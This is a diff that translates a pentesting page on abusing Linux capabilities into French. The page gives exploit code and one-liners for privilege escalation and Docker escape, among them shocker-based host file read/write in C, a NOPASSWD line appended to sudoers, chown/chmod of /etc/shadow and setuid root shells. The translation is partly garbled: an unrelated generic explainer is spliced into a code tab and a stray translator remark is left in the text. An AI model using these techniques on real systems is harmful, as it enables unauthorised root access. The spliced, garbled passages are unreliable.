using: - +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur Docker en utilisant: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep @@ -865,13 +793,11 @@ uid=0(root) gid=0(root) groups=0(root) ``` +À l'intérieur de la sortie précédente, vous pouvez voir que la capacité **DAC\_READ\_SEARCH** est activée. Par conséquent, le conteneur peut **déboguer les processus**. -Inside the previous output you can see that the **DAC\_READ\_SEARCH** capability is enabled. As a result, the container can **debug processes**. - -You can learn how the following exploiting works in [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3) but in resume **CAP\_DAC\_READ\_SEARCH** not only allows us to traverse the file system without permission checks, but also explicitly removes any checks to _**open\_by\_handle\_at(2)**_ and **could allow our process to sensitive files opened by other processes**. - -The original exploit that abuse this permissions to read files from the host can be found here: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), the following is a **modified version that allows you to indicate the file you want to read as first argument and dump it in a file.** +Vous pouvez apprendre comment fonctionne l'exploitation suivante sur [https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun\_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), mais en résumé, **CAP\_DAC\_READ\_SEARCH** ne nous permet pas seulement de parcourir le système de fichiers sans vérifications d'autorisation, mais supprime également explicitement toutes les vérifications de _**open\_by\_handle\_at(2)**_ et **peut permettre à notre processus d'accéder à des fichiers sensibles ouverts par d'autres processus**. +L'exploit original qui abuse de ces autorisations pour lire des fichiers de l'hôte peut être trouvé ici : [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), la version suivante est une **version modifiée qui vous permet d'indiquer le fichier que vous souhaitez lire en premier argument et de le déverser dans un fichier.** ```c #include #include @@ -1021,54 +947,48 @@ int main(int argc,char* argv[] ) return 0; } ``` - {% hint style="warning" %} -I exploit needs to find a pointer to something mounted on the host. The original exploit used the file /.dockerinit and this modified version uses /etc/hostname. If the exploit isn't working maybe you need to set a different file. To find a file that is mounted in the host just execute mount command: +J'exploite les besoins pour trouver un pointeur vers quelque chose monté sur l'hôte. L'exploit original utilisait le fichier /.dockerinit et cette version modifiée utilise /etc/hostname. Si l'exploit ne fonctionne pas, vous devez peut-être définir un fichier différent. Pour trouver un fichier qui est monté sur l'hôte, exécutez simplement la commande mount: {% endhint %} ![](<../../.gitbook/assets/image (407) (1).png>) -**The code of this technique was copied from the laboratory of "Abusing DAC\_READ\_SEARCH Capability" from** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) +**Le code de cette technique a été copié du laboratoire "Abusing DAC\_READ\_SEARCH Capability" de** [**https://www.pentesteracademy.com/**](https://www.pentesteracademy.com) ​
-​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus important en **Espagne** et l'un des plus importants en **Europe**. Avec **pour mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} ## CAP\_DAC\_OVERRIDE -**This mean that you can bypass write permission checks on any file, so you can write any file.** +**Cela signifie que vous pouvez contourner les vérifications de permission d'écriture sur n'importe quel fichier, vous pouvez donc écrire n'importe quel fichier.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Il y a beaucoup de fichiers que vous pouvez **écraser pour escalader les privilèges,** [**vous pouvez trouver des idées ici**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this example vim has this capability, so you can modify any file like _passwd_, _sudoers_ or _shadow_: +**Exemple avec un binaire** +Dans cet exemple, vim a cette capacité, vous pouvez donc modifier n'importe quel fichier comme _passwd_, _sudoers_ ou _shadow_: ```bash getcap -r / 2>/dev/null /usr/bin/vim = cap_dac_override+ep vim /etc/sudoers #To overwrite it ``` +**Exemple avec le binaire 2** -**Example with binary 2** - -In this example **`python`** binary will have this capability. You could use python to override any file: - +Dans cet exemple, le binaire **`python`** aura cette capacité. Vous pourriez utiliser python pour remplacer n'importe quel fichier : ```python file=open("/etc/sudoers","a") file.write("yourusername ALL=(ALL) NOPASSWD:ALL") file.close() ``` +**Exemple avec l'environnement + CAP\_DAC\_READ\_SEARCH (Évasion de Docker)** -**Example with environment + CAP\_DAC\_READ\_SEARCH (Docker breakout)** - -You can check the enabled capabilities inside the docker container using: - +Vous pouvez vérifier les capacités activées à l'intérieur du conteneur Docker en utilisant: ``` capsh --print Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep @@ -1081,10 +1001,8 @@ uid=0(root) gid=0(root) groups=0(root) ``` - -First of all read the previous section that [**abuses DAC\_READ\_SEARCH capability to read arbitrary files**](linux-capabilities.md#cap\_dac\_read\_search) of the host and **compile** the exploit.\ -Then, **compile the following version of the shocker exploit** that ill allow you to **write arbitrary files** inside the hosts filesystem: - +Tout d'abord, lisez la section précédente qui [**exploite la capacité DAC\_READ\_SEARCH pour lire des fichiers arbitraires**](linux-capabilities.md#cap\_dac\_read\_search) de l'hôte et **compilez** l'exploit.\ +Ensuite, **compilez la version suivante de l'exploit shocker** qui vous permettra de **écrire des fichiers arbitraires** dans le système de fichiers de l'hôte : ```c #include #include @@ -1223,57 +1141,47 @@ int main(int argc, char * argv[]) { return 0; } ``` +Pour échapper au conteneur Docker, vous pouvez **télécharger** les fichiers `/etc/shadow` et `/etc/passwd` de l'hôte, **ajouter** un **nouvel utilisateur**, et utiliser **`shocker_write`** pour les écraser. Ensuite, **accédez** via **ssh**. -In order to scape the docker container you could **download** the files `/etc/shadow` and `/etc/passwd` from the host, **add** to them a **new user**, and use **`shocker_write`** to overwrite them. Then, **access** via **ssh**. - -**The code of this technique was copied from the laboratory of "Abusing DAC\_OVERRIDE Capability" from** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) +**Le code de cette technique a été copié depuis le laboratoire "Abusing DAC\_OVERRIDE Capability" de** [**https://www.pentesteracademy.com**](https://www.pentesteracademy.com) ## CAP\_CHOWN -**This means that it's possible to change the ownership of any file.** +**Cela signifie qu'il est possible de changer la propriété de n'importe quel fichier.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability, you can **change** the **owner** of the **shadow** file, **change root password**, and escalate privileges: +**Exemple avec un binaire** +Supposons que le binaire **`python`** ait cette capacité, vous pouvez **changer** le **propriétaire** du fichier **shadow**, **changer le mot de passe root**, et escalader les privilèges : ```bash python -c 'import os;os.chown("/etc/shadow",1000,1000)' ``` - -Or with the **`ruby`** binary having this capability: - +Ou avec l'exécutable **`ruby`** ayant cette capacité : ```bash ruby -e 'require "fileutils"; FileUtils.chown(1000, 1000, "/etc/shadow")' ``` - ## CAP\_FOWNER -**This means that it's possible to change the permission of any file.** +**Cela signifie qu'il est possible de modifier les permissions de n'importe quel fichier.** -**Example with binary** - -If python has this capability you can modify the permissions of the shadow file, **change root password**, and escalate privileges: +**Exemple avec un binaire** +Si Python a cette capacité, vous pouvez modifier les permissions du fichier shadow, **changer le mot de passe root** et escalader les privilèges : ```bash python -c 'import os;os.chmod("/etc/shadow",0666) ``` - ### CAP\_SETUID -**This means that it's possible to set the effective user id of the created process.** +**Cela signifie qu'il est possible de définir l'ID utilisateur effectif du processus créé.** -**Example with binary** - -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +**Exemple avec un binaire** +Si Python a cette **capacité**, vous pouvez très facilement l'exploiter pour escalader les privilèges vers root : ```python import os os.setuid(0) os.system("/bin/bash") ``` - -**Another way:** - +**Une autre méthode :** ```python import os import prctl @@ -1282,17 +1190,15 @@ prctl.cap_effective.setuid = True os.setuid(0) os.system("/bin/bash") ``` - ## CAP\_SETGID -**This means that it's possible to set the effective group id of the created process.** +**Cela signifie qu'il est possible de définir l'ID de groupe effectif du processus créé.** -There are a lot of files you can **overwrite to escalate privileges,** [**you can get ideas from here**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). +Il y a beaucoup de fichiers que vous pouvez **écraser pour escalader les privilèges,** [**vous pouvez trouver des idées ici**](payloads-to-execute.md#overwriting-a-file-to-escalate-privileges). -**Example with binary** - -In this case you should look for interesting files that a group can read because you can impersonate any group: +**Exemple avec un binaire** +Dans ce cas, vous devriez chercher des fichiers intéressants qu'un groupe peut lire car vous pouvez vous faire passer pour n'importe quel groupe : ```bash #Find every file writable by a group find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null @@ -1301,30 +1207,25 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null #Find every file readable by a group in /etc with a maxpath of 1 find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null ``` - -Once you have find a file you can abuse (via reading or writing) to escalate privileges you can **get a shell impersonating the interesting group** with: - +Une fois que vous avez trouvé un fichier que vous pouvez exploiter (en le lisant ou en l'écrivant) pour escalader les privilèges, vous pouvez **obtenir un shell en vous faisant passer pour le groupe intéressant** avec: ```python import os os.setgid(42) os.system("/bin/bash") ``` - -In this case the group shadow was impersonated so you can read the file `/etc/shadow`: - +Dans ce cas, le groupe shadow a été usurpé, vous pouvez donc lire le fichier `/etc/shadow`: ```bash cat /etc/shadow ``` - -If **docker** is installed you could **impersonate** the **docker group** and abuse it to communicate with the [**docker socket** and escalate privileges](./#writable-docker-socket). +Si **docker** est installé, vous pouvez **usurper** le **groupe docker** et l'utiliser pour communiquer avec le [**socket docker** et escalader les privilèges](./#writable-docker-socket). ## CAP\_SETFCAP -**This means that it's possible to set capabilities on files and processes** +**Cela signifie qu'il est possible de définir des capacités sur des fichiers et des processus** -**Example with binary** +**Exemple avec un binaire** -If python has this **capability**, you can very easily abuse it to escalate privileges to root: +Si Python a cette **capacité**, vous pouvez facilement l'utiliser pour escalader les privilèges jusqu'à root : {% code title="setcapability.py" %} ```python @@ -1349,22 +1250,19 @@ status = libcap.cap_set_file(path,cap_t) if(status == 0): print (cap + " was successfully added to " + path) ``` -{% endcode %} - +{% endcode %} (This is a markdown tag and should not be translated) ```bash python setcapability.py /usr/bin/python2.7 ``` - {% hint style="warning" %} -Note that if you set a new capability to the binary with CAP\_SETFCAP, you will lose this cap. +Notez que si vous définissez une nouvelle capacité pour le binaire avec CAP\_SETFCAP, vous perdrez cette capacité. {% endhint %} -Once you have [SETUID capability](linux-capabilities.md#cap\_setuid) you can go to its section to see how to escalate privileges. +Une fois que vous avez la capacité [SETUID](linux-capabilities.md#cap\_setuid), vous pouvez aller dans sa section pour voir comment escalader les privilèges. -**Example with environment (Docker breakout)** - -By default the capability **CAP\_SETFCAP is given to the proccess inside the container in Docker**. You can check that doing something like: +**Exemple avec l'environnement (Docker breakout)** +Par défaut, la capacité **CAP\_SETFCAP est donnée au processus à l'intérieur du conteneur Docker**. Vous pouvez vérifier cela en faisant quelque chose comme: ```bash cat /proc/`pidof bash`/status | grep Cap CapInh: 00000000a80425fb @@ -1376,10 +1274,8 @@ CapAmb: 0000000000000000 apsh --decode=00000000a80425fb 0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap ``` - -This capability allow to **give any other capability to binaries**, so we could think about **escaping** from the container **abusing any of the other capability breakouts** mentioned in this page.\ -However, if you try to give for example the capabilities CAP\_SYS\_ADMIN and CAP\_SYS\_PTRACE to the gdb binary, you will find that you can give them, but the **binary won’t be able to execute after this**: - +Cette capacité permet de **donner à des binaires n'importe quelle autre capacité**, donc on pourrait penser à **s'échapper** du conteneur en **abusant de n'importe quelle autre capacité mentionnée sur cette page**.\ +Cependant, si vous essayez de donner par exemple les capacités CAP\_SYS\_ADMIN et CAP\_SYS\_PTRACE au binaire gdb, vous constaterez que vous pouvez les donner, mais que le **binaire ne pourra pas s'exécuter après cela** : ```bash getcap /usr/bin/gdb /usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip @@ -1389,27 +1285,25 @@ setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb bash: /usr/bin/gdb: Operation not permitted ``` - -After investigating I read this: _Permitted: This is a **limiting superset for the effective capabilities** that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that **does not have the CAP\_SETPCAP** capability in its effective set._\ -It looks like the Permitted capabilities limit the ones that can be used.\ -However, Docker also grants the **CAP\_SETPCAP** by default, so you might be able to **set new capabilities inside the inheritables ones**.\ -However, in the documentation of this cap: _CAP\_SETPCAP : \[…] **add any capability from the calling thread’s bounding** set to its inheritable set_.\ -It looks like we can only add to the inheritable set capabilities from the bounding set. Which means that **we cannot put new capabilities like CAP\_SYS\_ADMIN or CAP\_SYS\_PTRACE in the inherit set to escalate privileges**. +Après avoir enquêté, j'ai lu ceci : _Permitted : c'est un **superset limitant pour les capacités effectives** que le thread peut assumer. C'est également un superset limitant pour les capacités qui peuvent être ajoutées à l'ensemble hérité par un thread qui **n'a pas la capacité CAP\_SETPCAP** dans son ensemble effectif._\ +Il semble que les capacités Permitted limitent celles qui peuvent être utilisées.\ +Cependant, Docker accorde également le **CAP\_SETPCAP** par défaut, donc vous pourriez être en mesure de **définir de nouvelles capacités à l'intérieur de celles héritables**.\ +Cependant, dans la documentation de cette capacité : _CAP\_SETPCAP : \[… **ajoute toute capacité de l'ensemble de liaison du thread appelant** à son ensemble héritable_.\ +Il semble que nous ne puissions ajouter aux capacités héritables que celles de l'ensemble de liaison. Ce qui signifie que **nous ne pouvons pas mettre de nouvelles capacités comme CAP\_SYS\_ADMIN ou CAP\_SYS\_PTRACE dans l'ensemble hérité pour escalader les privilèges**. ## CAP\_SYS\_RAWIO -[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) provides a number of sensitive operations including access to `/dev/mem`, `/dev/kmem` or `/proc/kcore`, modify `mmap_min_addr`, access `ioperm(2)` and `iopl(2)` system calls, and various disk commands. The `FIBMAP ioctl(2)` is also enabled via this capability, which has caused issues in the [past](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). As per the man page, this also allows the holder to descriptively `perform a range of device-specific operations on other devices`. +[**CAP\_SYS\_RAWIO**](https://man7.org/linux/man-pages/man7/capabilities.7.html) fournit un certain nombre d'opérations sensibles, notamment l'accès à `/dev/mem`, `/dev/kmem` ou `/proc/kcore`, la modification de `mmap_min_addr`, l'accès aux appels système `ioperm(2)` et `iopl(2)`, et diverses commandes de disque. Le `ioctl(2) FIBMAP` est également activé via cette capacité, ce qui a causé des problèmes dans le [passé](http://lkml.iu.edu/hypermail/linux/kernel/9907.0/0132.html). Selon la page de manuel, cela permet également au détenteur d'effectuer de manière descriptive `une gamme d'opérations spécifiques à un périphérique sur d'autres périphériques`. -This can be useful for **privilege escalation** and **Docker breakout.** +Cela peut être utile pour **l'escalade de privilèges** et **l'évasion de Docker.** ## CAP\_KILL -**This means that it's possible to kill any process.** +**Cela signifie qu'il est possible de tuer n'importe quel processus.** -**Example with binary** - -Lets suppose the **`python`** binary has this capability. If you could **also modify some service or socket configuration** (or any configuration file related to a service) file, you could backdoor it, and then kill the process related to that service and wait for the new configuration file to be executed with your backdoor. +**Exemple avec un binaire** +Supposons que le binaire **`python`** ait cette capacité. Si vous pouviez **également modifier la configuration d'un service ou d'un socket** (ou de tout fichier de configuration lié à un service), vous pourriez y placer une porte dérobée, puis tuer le processus lié à ce service et attendre que le nouveau fichier de configuration soit exécuté avec votre porte dérobée. ```python #Use this python code to kill arbitrary processes import os @@ -1417,16 +1311,13 @@ import signal pgid = os.getpgid(341) os.killpg(pgid, signal.SIGKILL) ``` +**Privesc avec kill** -**Privesc with kill** - -If you have kill capabilities and there is a **node program running as root** (or as a different user)you could probably **send** it the **signal SIGUSR1** and make it **open the node debugger** to where you can connect. - +Si vous avez des capacités de kill et qu'un **programme node s'exécute en tant que root** (ou en tant qu'un autre utilisateur), vous pourriez probablement lui **envoyer** le **signal SIGUSR1** et le faire **ouvrir le débogueur node** où vous pouvez vous connecter. ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - {% content-ref url="electron-cef-chromium-debugger-abuse.md" %} [electron-cef-chromium-debugger-abuse.md](electron-cef-chromium-debugger-abuse.md) {% endcontent-ref %} @@ -1435,20 +1326,20 @@ kill -s SIGUSR1
-​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +​​​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en Espagne et l'un des plus importants en Europe. Avec pour mission de promouvoir les connaissances techniques, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans toutes les disciplines. {% embed url="https://www.rootedcon.com/" %} ## CAP\_NET\_BIND\_SERVICE -**This means that it's possible to listen in any port (even in privileged ones).** You cannot escalate privileges directly with this capability. +Cela signifie qu'il est possible d'écouter sur n'importe quel port (même sur des ports privilégiés). Vous ne pouvez pas escalader les privilèges directement avec cette capacité. -**Example with binary** +**Exemple avec un binaire** -If **`python`** has this capability it will be able to listen on any port and even connect from it to any other port (some services require connections from specific privileges ports) +Si **`python`** a cette capacité, il pourra écouter sur n'importe quel port et même se connecter à partir de celui-ci à n'importe quel autre port (certains services nécessitent des connexions à partir de ports de privilèges spécifiques). {% tabs %} -{% tab title="Listen" %} +{% tab title="Écouter" %} ```python import socket s=socket.socket() @@ -1461,7 +1352,44 @@ while True: ``` {% endtab %} -{% tab title="Connect" %} +{% tab title="Linux Capabilities" %} +# Linux Capabilities + +Les **Linux Capabilities** sont un moyen de donner à un processus un ensemble de permissions plus granulaires que celles accordées par les bits d'autorisation traditionnels du système de fichiers. Les capabilities sont des bits de permission qui peuvent être définis sur des fichiers binaires ou des processus individuels. Les capabilities sont divisées en trois catégories : + +- **Effective**: Les capabilities effectives sont celles qui sont actuellement en vigueur pour le processus. +- **Permitted**: Les capabilities permises sont celles qui peuvent être activées par le processus. +- **Inherited**: Les capabilities héritées sont celles qui sont transmises à un processus enfant lorsqu'il est créé. + +Les capabilities sont souvent utilisées pour permettre à un processus d'effectuer des tâches spécifiques sans avoir besoin de privilèges de superutilisateur complets. Par exemple, un processus peut être autorisé à ouvrir des sockets réseau sans avoir besoin de privilèges de superutilisateur. + +## Vérification des capabilities + +Pour vérifier les capabilities d'un processus, vous pouvez utiliser la commande `getcap`. Par exemple, pour vérifier les capabilities d'un fichier binaire nommé `mybinary`, vous pouvez exécuter la commande suivante : + +```bash +$ getcap mybinary +``` + +Cela affichera les capabilities permises pour le fichier binaire. + +## Modification des capabilities + +Pour modifier les capabilities d'un fichier binaire, vous pouvez utiliser la commande `setcap`. Par exemple, pour donner à un fichier binaire nommé `mybinary` la capability `CAP_NET_RAW`, vous pouvez exécuter la commande suivante : + +```bash +$ sudo setcap cap_net_raw+ep mybinary +``` + +Cela donnera à `mybinary` la capability `CAP_NET_RAW` avec les bits `effective` et `permitted` activés. + +## Utilisation des capabilities pour l'escalade de privilèges + +Les capabilities peuvent être utilisées pour l'escalade de privilèges si un processus avec des capabilities élevées peut être exploité pour exécuter du code malveillant. Par exemple, si un processus avec la capability `CAP_SYS_ADMIN` peut être exploité, un attaquant peut utiliser cette capability pour monter un système de fichiers en lecture/écriture et écrire des fichiers dans des emplacements sensibles. + +## Références + +- [Linux Capabilities](https://man7.org/linux/man-pages/man7/capabilities.7.html) ```python import socket s=socket.socket() @@ -1473,25 +1401,22 @@ s.connect(('10.10.10.10',500)) ## CAP\_NET\_RAW -[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows a process to be able to **create RAW and PACKET socket types** for the available network namespaces. This allows arbitrary packet generation and transmission through the exposed network interfaces. In many cases this interface will be a virtual Ethernet device which may allow for a malicious or **compromised container** to **spoof** **packets** at various network layers. A malicious process or compromised container with this capability may inject into upstream bridge, exploit routing between containers, bypass network access controls, and otherwise tamper with host networking if a firewall is not in place to limit the packet types and contents. Finally, this capability allows the process to bind to any address within the available namespaces. This capability is often retained by privileged containers to allow ping to function by using RAW sockets to create ICMP requests from a container. +[**CAP\_NET\_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet à un processus de pouvoir **créer des types de sockets RAW et PACKET** pour les espaces de noms réseau disponibles. Cela permet la génération et la transmission arbitraires de paquets à travers les interfaces réseau exposées. Dans de nombreux cas, cette interface sera un périphérique Ethernet virtuel qui peut permettre à un conteneur malveillant ou **compromis** de **fausser** des **paquets** à différents niveaux réseau. Un processus malveillant ou un conteneur compromis avec cette capacité peut s'injecter dans un pont en amont, exploiter le routage entre les conteneurs, contourner les contrôles d'accès réseau et altérer autrement le réseau de l'hôte si un pare-feu n'est pas en place pour limiter les types et contenus de paquets. Enfin, cette capacité permet au processus de se lier à n'importe quelle adresse dans les espaces de noms disponibles. Cette capacité est souvent conservée par les conteneurs privilégiés pour permettre à ping de fonctionner en utilisant des sockets RAW pour créer des demandes ICMP à partir d'un conteneur. -**This means that it's possible to sniff traffic.** You cannot escalate privileges directly with this capability. +**Cela signifie qu'il est possible de renifler le trafic.** Vous ne pouvez pas escalader les privilèges directement avec cette capacité. -**Example with binary** - -If the binary **`tcpdump`** has this capability you will be able to use it to capture network information. +**Exemple avec un binaire** +Si le binaire **`tcpdump`** a cette capacité, vous pourrez l'utiliser pour capturer des informations réseau. ```bash getcap -r / 2>/dev/null /usr/sbin/tcpdump = cap_net_raw+ep ``` +Notez que si l'**environnement** donne cette capacité, vous pouvez également utiliser **`tcpdump`** pour intercepter le trafic. -Note that if the **environment** is giving this capability you could also use **`tcpdump`** to sniff traffic. - -**Example with binary 2** - -The following example is **`python2`** code that can be useful to intercept traffic of the "**lo**" (**localhost**) interface. The code is from the lab "_The Basics: CAP-NET\_BIND + NET\_RAW_" from [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) +**Exemple avec le binaire 2** +L'exemple suivant est un code **`python2`** qui peut être utile pour intercepter le trafic de l'interface "**lo**" (**localhost**). Le code provient du laboratoire "_Les bases : CAP-NET\_BIND + NET\_RAW_" de [https://attackdefense.pentesteracademy.com/](https://attackdefense.pentesteracademy.com) ```python import socket import struct @@ -1535,15 +1460,13 @@ while True: print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag) count=count+1 ``` - ## CAP\_NET\_ADMIN + CAP\_NET\_RAW -[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows the capability holder to **modify the exposed network namespaces' firewall, routing tables, socket permissions**, network interface configuration and other related settings on exposed network interfaces. This also provides the ability to **enable promiscuous mode** for the attached network interfaces and potentially sniff across namespaces. +[**CAP\_NET\_ADMIN**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet au détenteur de la capacité de **modifier le pare-feu, les tables de routage, les permissions de socket**, la configuration de l'interface réseau et d'autres paramètres connexes sur les interfaces réseau exposées. Cela permet également de **activer le mode promiscuous** pour les interfaces réseau attachées et potentiellement de renifler à travers les espaces de noms. -**Example with binary** - -Lets suppose that the **python binary** has these capabilities. +**Exemple avec un binaire** +Supposons que le binaire **python** ait ces capacités. ```python #Dump iptables filter table rules import iptc @@ -1555,15 +1478,13 @@ pprint.pprint(json) import iptc iptc.easy.flush_table('filter') ``` - ## CAP\_LINUX\_IMMUTABLE -**This means that it's possible modify inode attributes.** You cannot escalate privileges directly with this capability. +Cela signifie qu'il est possible de modifier les attributs d'inode. Vous ne pouvez pas escalader les privilèges directement avec cette capacité. -**Example with binary** - -If you find that a file is immutable and python has this capability, you can **remove the immutable attribute and make the file modifiable:** +**Exemple avec un binaire** +Si vous constatez qu'un fichier est immuable et que Python a cette capacité, vous pouvez **supprimer l'attribut immuable et rendre le fichier modifiable :** ```python #Check that the file is imutable lsattr file.sh @@ -1586,10 +1507,8 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f) f=open("/path/to/file.sh",'a+') f.write('New content for the file\n') ``` - {% hint style="info" %} -Note that usually this immutable attribute is set and remove using: - +Notez que généralement cet attribut immuable est défini et supprimé en utilisant: ```bash sudo chattr +i file.txt sudo chattr -i file.txt @@ -1598,47 +1517,46 @@ sudo chattr -i file.txt ## CAP\_SYS\_CHROOT -[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permits the use of the `chroot(2)` system call. This may allow escaping of any `chroot(2)` environment, using known weaknesses and escapes: +[**CAP\_SYS\_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet l'utilisation de l'appel système `chroot(2)`. Cela peut permettre de s'échapper de n'importe quel environnement `chroot(2)`, en utilisant des faiblesses et des échappatoires connues : -* [How to break out from various chroot solutions](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf) -* [chw00t: chroot escape tool](https://github.com/earthquake/chw00t/) +* [Comment s'échapper de différentes solutions chroot](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf) +* [chw00t : outil d'évasion chroot](https://github.com/earthquake/chw00t/) ## CAP\_SYS\_BOOT -[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows to use the `reboot(2)` syscall. It also allows for executing an arbitrary **reboot command** via `LINUX_REBOOT_CMD_RESTART2`, implemented for some specific hardware platforms. +[**CAP\_SYS\_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet d'utiliser l'appel système `reboot(2)`. Il permet également d'exécuter une commande de **redémarrage arbitraire** via `LINUX_REBOOT_CMD_RESTART2`, implémentée pour certaines plates-formes matérielles spécifiques. -This capability also permits use of the `kexec_load(2)` system call, which loads a new crash kernel and as of Linux 3.17, the `kexec_file_load(2)` which also will load signed kernels. +Cette capacité permet également d'utiliser l'appel système `kexec_load(2)`, qui charge un nouveau noyau de crash et, à partir de Linux 3.17, `kexec_file_load(2)` qui chargera également des noyaux signés. ## CAP\_SYSLOG -[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) was finally forked in Linux 2.6.37 from the `CAP_SYS_ADMIN` catchall, this capability allows the process to use the `syslog(2)` system call. This also allows the process to view kernel addresses exposed via `/proc` and other interfaces when `/proc/sys/kernel/kptr_restrict` is set to 1. +[CAP\_SYSLOG](https://man7.org/linux/man-pages/man7/capabilities.7.html) a finalement été forké dans Linux 2.6.37 à partir de la capacité `CAP_SYS_ADMIN` catchall, cette capacité permet au processus d'utiliser l'appel système `syslog(2)`. Cela permet également au processus de voir les adresses du noyau exposées via `/proc` et d'autres interfaces lorsque `/proc/sys/kernel/kptr_restrict` est défini sur 1. -The `kptr_restrict` sysctl setting was introduced in 2.6.38, and determines if kernel addresses are exposed. This defaults to zero (exposing kernel addresses) since 2.6.39 within the vanilla kernel, although many distributions correctly set the value to 1 (hide from everyone accept uid 0) or 2 (always hide). +Le paramètre sysctl `kptr_restrict` a été introduit dans 2.6.38 et détermine si les adresses du noyau sont exposées. Cela est défini par défaut à zéro (exposition des adresses du noyau) depuis 2.6.39 dans le noyau vanilla, bien que de nombreuses distributions définissent correctement la valeur sur 1 (cacher à tout le monde sauf uid 0) ou 2 (toujours cacher). -In addition, this capability also allows the process to view `dmesg` output, if the `dmesg_restrict` setting is 1. Finally, the `CAP_SYS_ADMIN` capability is still permitted to perform `syslog` operations itself for historical reasons. +De plus, cette capacité permet également au processus de voir la sortie `dmesg`, si le paramètre `dmesg_restrict` est défini sur 1. Enfin, la capacité `CAP_SYS_ADMIN` est toujours autorisée à effectuer des opérations `syslog` pour des raisons historiques. ## CAP\_MKNOD -[CAP\_MKNOD](https://man7.org/linux/man-pages/man7/capabilities.7.html) allows an extended usage of [mknod](https://man7.org/linux/man-pages/man2/mknod.2.html) by permitting creation of something other than a regular file (`S_IFREG`), FIFO (named pipe)(`S_IFIFO`), or UNIX domain socket (`S_IFSOCK`). The special files are: +[CAP\_MKNOD](https://man7.org/linux/man-pages/man7/capabilities.7.html) permet une utilisation étendue de [mknod](https://man7.org/linux/man-pages/man2/mknod.2.html) en permettant la création de quelque chose d'autre qu'un fichier ordinaire (`S_IFREG`), un FIFO (pipe nommé) (`S_IFIFO`) ou une socket de domaine UNIX (`S_IFSOCK`). Les fichiers spéciaux sont : -* `S_IFCHR` (Character special file (a device like a terminal)) -* `S_IFBLK` (Block special file (a device like a disk)). +* `S_IFCHR` (Fichier spécial de caractères (un périphérique comme un terminal)) +* `S_IFBLK` (Fichier spécial de blocs (un périphérique comme un disque)). -It is a default capability 